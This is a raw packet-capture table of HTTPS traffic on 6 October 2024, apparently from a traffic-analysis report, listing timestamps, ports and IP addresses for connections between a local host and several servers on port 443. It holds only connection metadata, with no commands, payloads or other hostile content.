Oct 6, 2024 14:08:22.241235018 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.241259098 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.241271973 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.241306067 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.257723093 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.257745981 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.257786036 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.257807016 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.257817984 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.257847071 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.257898092 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.259766102 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.261569023 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.261580944 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.261861086 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.264334917 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.264385939 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.264411926 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.264425039 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.264488935 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.266025066 CEST	49734	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.266045094 CEST	443	49734	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.266510963 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.266550064 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.266657114 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.267333984 CEST	49732	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.267353058 CEST	443	49732	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.267617941 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.267661095 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.267712116 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.268460035 CEST	49742	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.268471956 CEST	443	49742	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.269234896 CEST	49743	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.269247055 CEST	443	49743	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.286501884 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.286545992 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.286606073 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.286818981 CEST	49744	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.286832094 CEST	443	49744	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.311598063 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.312001944 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.312019110 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.312755108 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.312937975 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:22.312948942 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.313086987 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.313143969 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.313255072 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.313689947 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.313754082 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.314109087 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:22.314168930 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.314481020 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.314488888 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.314625025 CEST	49738	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:22.317049980 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.317948103 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.317975998 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.319374084 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.319432020 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.319761038 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.319830894 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.320008039 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.320014954 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.324454069 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.324676991 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.324716091 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.326127052 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.326184034 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.326730967 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.326754093 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.326797009 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.326812029 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.327008009 CEST	443	49739	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.327084064 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.327114105 CEST	49739	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.327161074 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.327193022 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.327270031 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.327688932 CEST	49745	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:22.327703953 CEST	443	49745	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:22.342350006 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.342408895 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.342427969 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.342447996 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.342580080 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.344973087 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.345015049 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.345057964 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.345073938 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.345119953 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.345119953 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.345412970 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.345483065 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.347558022 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.347700119 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.347703934 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.347745895 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.347968102 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.349828959 CEST	49733	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.349839926 CEST	443	49733	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.350101948 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.350120068 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.350197077 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.351984024 CEST	49746	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.351996899 CEST	443	49746	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.355398893 CEST	443	49738	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:22.360963106 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.360975027 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361010075 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361021996 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361033916 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361052036 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.361064911 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361088037 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.361114025 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.389653921 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389694929 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389714956 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389739990 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.389756918 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389777899 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389780045 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.389810085 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389813900 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.389833927 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.389853954 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.389867067 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.395332098 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.395360947 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.395466089 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.395647049 CEST	49748	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.395657063 CEST	443	49748	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.419857025 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.419888020 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.419909000 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.419946909 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.419950008 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.419970989 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.419981956 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.419992924 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.420017958 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.420022964 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.420051098 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.420061111 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.422974110 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.423006058 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.423098087 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.423197031 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.423226118 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.423243999 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.423300028 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.423300028 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.423335075 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.426045895 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.447973013 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.447994947 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448016882 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448062897 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448069096 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448082924 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448103905 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448128939 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448133945 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448134899 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448134899 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448179960 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448430061 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448465109 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448483944 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448499918 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448529005 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448559046 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448570013 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448579073 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448584080 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448601961 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448626995 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448677063 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.448688984 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.448719025 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.448739052 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.448771954 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.448781967 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.448801994 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449022055 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449053049 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449063063 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.449071884 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449090004 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.449107885 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449405909 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449439049 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449445963 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.449453115 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.449480057 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.453330040 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.455589056 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.455605030 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.476444006 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476466894 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476484060 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476519108 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.476524115 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476543903 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476563931 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.476563931 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476583958 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.476588964 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.476596117 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.476672888 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.476686954 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504374027 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504390001 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504412889 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504420996 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504424095 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504452944 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504475117 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.504496098 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.504528046 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.506633043 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.506686926 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.506740093 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.506741047 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.506844044 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.506875992 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.507529020 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507540941 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507566929 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507575035 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507576942 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.507584095 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507592916 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507621050 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.507630110 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.507657051 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.508084059 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.508137941 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.508156061 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.508177042 CEST	443	49740	151.101.2.137	192.168.2.5
Oct 6, 2024 14:08:22.508210897 CEST	49740	443	192.168.2.5	151.101.2.137
Oct 6, 2024 14:08:22.509154081 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509190083 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509202957 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509221077 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.509221077 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509238005 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509268999 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.509902954 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.509968042 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.509973049 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532388926 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532423019 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532469034 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.532471895 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532494068 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532531977 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532531977 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.532557011 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.532787085 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532830000 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.532910109 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.532910109 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.532938004 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.534693956 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.534758091 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.534773111 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.535106897 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.535142899 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.535181999 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.535209894 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.535222054 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.536130905 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536175966 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.536184072 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536402941 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536425114 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536448002 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.536458969 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536489964 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536495924 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.536498070 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.536504984 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536519051 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.536518097 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.536554098 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.536572933 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.536586046 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.536592960 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.536617994 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.536628008 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.536719084 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.536781073 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.536953926 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537003040 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537029982 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537045002 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.537051916 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537071943 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.537229061 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537333965 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537360907 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537383080 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.537390947 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537405014 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.537513018 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537539959 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537556887 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.537563086 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.537605047 CEST	49741	443	192.168.2.5	104.17.24.14
Oct 6, 2024 14:08:22.538089991 CEST	443	49741	104.17.24.14	192.168.2.5
Oct 6, 2024 14:08:22.567164898 CEST	49736	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.567188978 CEST	443	49736	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.568002939 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.568094969 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.568203926 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.569677114 CEST	49749	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.569713116 CEST	443	49749	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591176033 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.591216087 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.591278076 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.591536045 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:22.591556072 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:22.591568947 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591634035 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591646910 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.591669083 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591679096 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591691017 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.591726065 CEST	49735	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:22.591738939 CEST	443	49735	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:22.591793060 CEST	49735	443	192.168.2.5	2.16.168.6
